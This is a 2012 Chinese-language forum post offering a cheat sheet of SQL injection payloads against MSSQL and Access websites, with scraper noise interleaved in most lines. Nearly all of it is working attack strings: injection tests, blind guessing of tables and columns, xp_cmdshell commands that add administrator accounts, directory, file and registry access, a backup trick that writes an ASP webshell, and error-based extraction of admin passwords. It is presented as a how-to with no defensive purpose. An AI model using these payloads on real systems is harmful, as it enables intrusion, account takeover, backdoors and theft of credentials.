找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1989|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
4 f# x& Q$ G- k4 N  O, z;and 1=1 8 y, {8 v' L* _( Z1 }
;and 1=2 8 y: a4 z  J& O

1 Q2 h- C0 |$ r% A2.初步判断是否是mssql 4 F1 T! y5 T* Q# Y, {% q: e
;and user>0 , U9 e# i: }6 r. M! ?, q

# }0 ~: N9 ~% k1 }7 i$ E/ ^3.判断数据库系统 7 {8 {4 l. w9 V
;and (select count(*) from sysobjects)>0 mssql
1 q7 X/ A8 R& Z: E! O7 a- ~4 p  f. v;and (select count(*) from msysobjects)>0 access
0 K4 I5 o6 J- w- G' L4 v5 }) D5 o( s- w/ }! ?" p3 C  D
4.注入参数是字符
& N% J5 L' U2 J5 l'and [查询条件] and ''='
  P& k. a" c3 ~1 L8 b) W% {# r/ ?1 V, G
5.搜索时没过滤参数的 & Z1 P- ^+ U5 y9 }8 u$ w2 z' h
'and [查询条件] and '%25'='
# \7 Y+ o- ~. q& Q+ K) V) y/ _; g; n$ r: N+ L- J, c& e7 d
6.猜数表名 % K; ~- P/ X% q. B1 y9 k
;and (select Count(*) from [表名])>0
, Y4 y3 o- G/ B6 |4 M$ i# o! O( D+ q9 h, a
7.猜字段
& R! r+ L& w' E0 L8 L;and (select Count(字段名) from 表名)>0
# b! J) h/ s! p* [
' W. n3 \9 @7 v8 j& j: {1 K8.猜字段中记录长度 ( k5 I- N. H  Z
;and (select top 1 len(字段名) from 表名)>0
8 p' p5 I, N$ y9 @' x+ Z, N/ \$ N8 b" D& G9 o! U+ n; C5 s
9.(1)猜字段的ascii值(access)
. d' M' x" R. ~1 C" T;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ) Q& j) m$ m: {- Z7 {% y6 P
8 W6 L2 u, w3 ?) X
(2)猜字段的ascii值(mssql) ( N7 e& F. ?- c! t/ l
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 $ K3 r; |# i  ^; ~+ a; d
" Y3 V: q$ B/ L' K8 X" @
10.测试权限结构(mssql) 4 s9 m* F: M, Q9 Y( t5 E( e# m
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- + ~* f' S0 t, }
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
7 R4 [4 g) Q8 C7 S: p4 ~. G) D, h;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ( O+ x" \7 k8 P4 K, k
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- - Q5 q6 R% O1 |: e3 K$ b/ G0 w
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8 o! t& O3 R/ T+ U+ u
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- - _  B3 P' B7 V% p
;and 1=(select IS_MEMBER('db_owner'));--
" W' @6 ]8 M( ^1 C2 U
3 @: f7 ~/ R  O11.添加mssql和系统的帐户
# {& n2 q' _. u. _: o0 e8 f7 v;exec master.dbo.sp_addlogin username;-- 4 m( S  C  m; A
;exec master.dbo.sp_password null,username,password;--
7 _$ J; @. u5 B0 v4 l7 q* g;exec master.dbo.sp_addsrvrolemember sysadmin username;-- + ^7 b6 I& ?7 m( W2 V% d
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 m' f4 k' z2 K2 O/ B; w
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 k3 n" z: v' j5 n) i
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
9 [9 M  G3 R1 j8 B) w* Z, b4 B3 V- c. }; O
12.(1)遍历目录
$ r( I0 r  Z2 y* p5 R) N' Y$ N;create table dirs(paths varchar(100), id int) 4 C( A$ z% E: D; F" `  Z' @8 W% S3 _, Q
;insert dirs exec master.dbo.xp_dirtree 'c:\'
- n0 \( @2 k% k;and (select top 1 paths from dirs)>0
( Q+ P4 N9 Y" |# N0 n6 J" n;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
% y+ N: ]6 t- c  A% d3 F2 P8 b: s. q0 M' s1 k9 G$ |! P
(2)遍历目录 0 j; P( o4 d( X# A& j
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0 F7 e% }9 i) F$ E
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
/ l. p$ m2 G0 Y;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 " p6 m7 Z$ b; L
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 : b; j6 v3 g- E; \, d
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ( a* d7 r3 l9 s4 p4 \  M4 |- R" @# F
4 S2 a' ]: D6 f% z/ G
13.mssql中的存储过程 , ^: }6 l) [$ `: _2 r
xp_regenumvalues 注册表根键, 子键
% e& P( C" W3 B4 [;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 + V  _: j. A  ]. a; l
xp_regread 根键,子键,键值名
+ q3 Y; A  Q0 j  ]) G;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
; Q' h3 d% O1 Rxp_regwrite 根键,子键, 值名, 值类型, 值 . [3 z) }. L) H2 U! G, O
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( \" K, \7 p2 v, V( }& S. z
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
& B2 Y2 `' S3 a* D4 l0 D' |xp_regdeletevalue 根键,子键,值名 ; k5 q" @. v) o! s9 E. M4 d5 H
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
% o! o9 }$ ^' g9 H0 {5 vxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
# |8 e( ~3 x* V7 s5 `# H, x! K2 ^$ p: A% x/ y8 s6 x
14.mssql的backup创建webshell
; t6 Y/ d; K8 V8 ~7 V3 duse model : R- i& f# p0 i$ k/ t2 v3 w: q1 g
create table cmd(str image);
- }$ c; ?3 \5 U9 W4 [insert into cmd(str) values ('<% Dim oScript %>'); ! E7 n' A! n+ F& I
backup database model to disk='c:\l.asp'; 3 T  I( u% P, E2 k; s% X+ a
/ B8 @  k# P6 U% f
15.mssql内置函数
& x2 \2 l/ b% Z! ~: E' P. R;and (select @@version)>0 获得Windows的版本号 ' `( a$ {# `/ Z+ L; l
;and user_name()='dbo' 判断当前系统的连接用户是不是sa + r, G) c- w' S9 Q% W( N4 @8 L
;and (select user_name())>0 爆当前系统的连接用户 ' Z* W. ]! N" L0 q) s
;and (select db_name())>0 得到当前连接的数据库
7 Z0 [7 [9 A3 ?- j( l  ?# K
% S& \0 A; U* I1 T* D0 T, {1 K0 T8 g" y

  x$ z% s5 `& p5 b  A; [1 [MSSQL手注暴库# t$ K) N  O0 d# Q: z4 B
/ B* D9 U* x2 }/ Q
1.暴出当前表名和列名' A0 `, V9 ?: f/ L' J# e6 K
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。; S0 `' x2 V' P4 i" |* F

6 {+ e* L# z/ W% q7 x! F3 G第一.爆出所有数据库名: m3 F9 f% E3 }3 u5 \
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。& T. r2 A9 m0 {4 F! |, s- m
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
3 w' Q+ ~) w) T4 z! F
- [% ?/ ?3 O& u6 ]: o0 ^- ^and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名5 Z6 d4 V: \! g- P! s2 y

! e  P( I9 s  o) v; D) Z9 q+ M. x1 u; a/ o- O
第二.爆出指定库中的所有表名* Q; u* D) S! C+ a7 j
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
1 D0 M' ~: C5 e! \6 a: f再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。/ T6 g$ @0 W& R, V$ J

7 W" U8 N7 ]3 cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
$ j1 |. R* Q. [$ Oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
! @/ \/ s* z, Q3 ^3 f( ^, A( eand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--( \& \6 N5 k# v; z. S1 x
* H* L$ ]8 |! s3 G+ c- o
4.爆出指定表中的所有列名
' h8 ~3 G* q) o% M+ L$ |! dand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 3 c8 Z9 L6 [; ?
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
) ^$ F  p' i0 s( F
1 C. h- g7 C  [( t8 }5 v7 dand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
' ?8 I1 u- _4 q7 v5 B( N9 O3 P3 S0 g, Q3 w4 N" o: S4 y
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ! Z3 _) j( e; p/ S4 |) {+ K& V- M
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
+ e0 f& i  `6 R! ~; o9 m& l. ~0 K0 D# p  V; q2 z' |' l7 \/ p
" X" }7 F4 Q4 D$ x
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值, f8 N' e1 O" b2 j: J0 }; z
# l! j! H: J; \$ j' k8 G3 o
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
! ?, ~' D3 N: F6 P) F( Q
* C/ `5 ^2 ~; uand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- & T* m+ V8 A7 n+ B2 j  G2 s

+ f5 ~/ q4 Y4 r  `' ~( {5 z. b3 x, b& n' t, j
' k# W5 c! M" E
5.读取指定表中的数据$ q' y& p- M% I2 h! E+ s$ ^6 Y* S

8 r  K* _8 v5 E+ V! N7 Land 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 # e! @& P* I' M$ z3 U

% H7 W) C4 e% [$ v* sand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--; U. A; o3 W: R% x7 `
+ i9 K6 l3 S8 |$ \
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码3 c/ R! Y% v' m4 m

/ ~0 B" `2 _/ O, I6 c" K$ b' e+ @* }9 w& Z) h4 R
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
& i: P6 ~3 p, i5 N1 Z- `
7 _; m. A2 g( Q* a$ Aand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)  f1 L- H3 D  [

) N/ N$ G9 J  R% [4 _+ x7 I& k# Nand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
8 \  d/ s! Q- N1 g9 I# C
8 ^! C8 M7 r3 `/ I6 F' T知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
) J# V# X/ J+ h7 X: O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表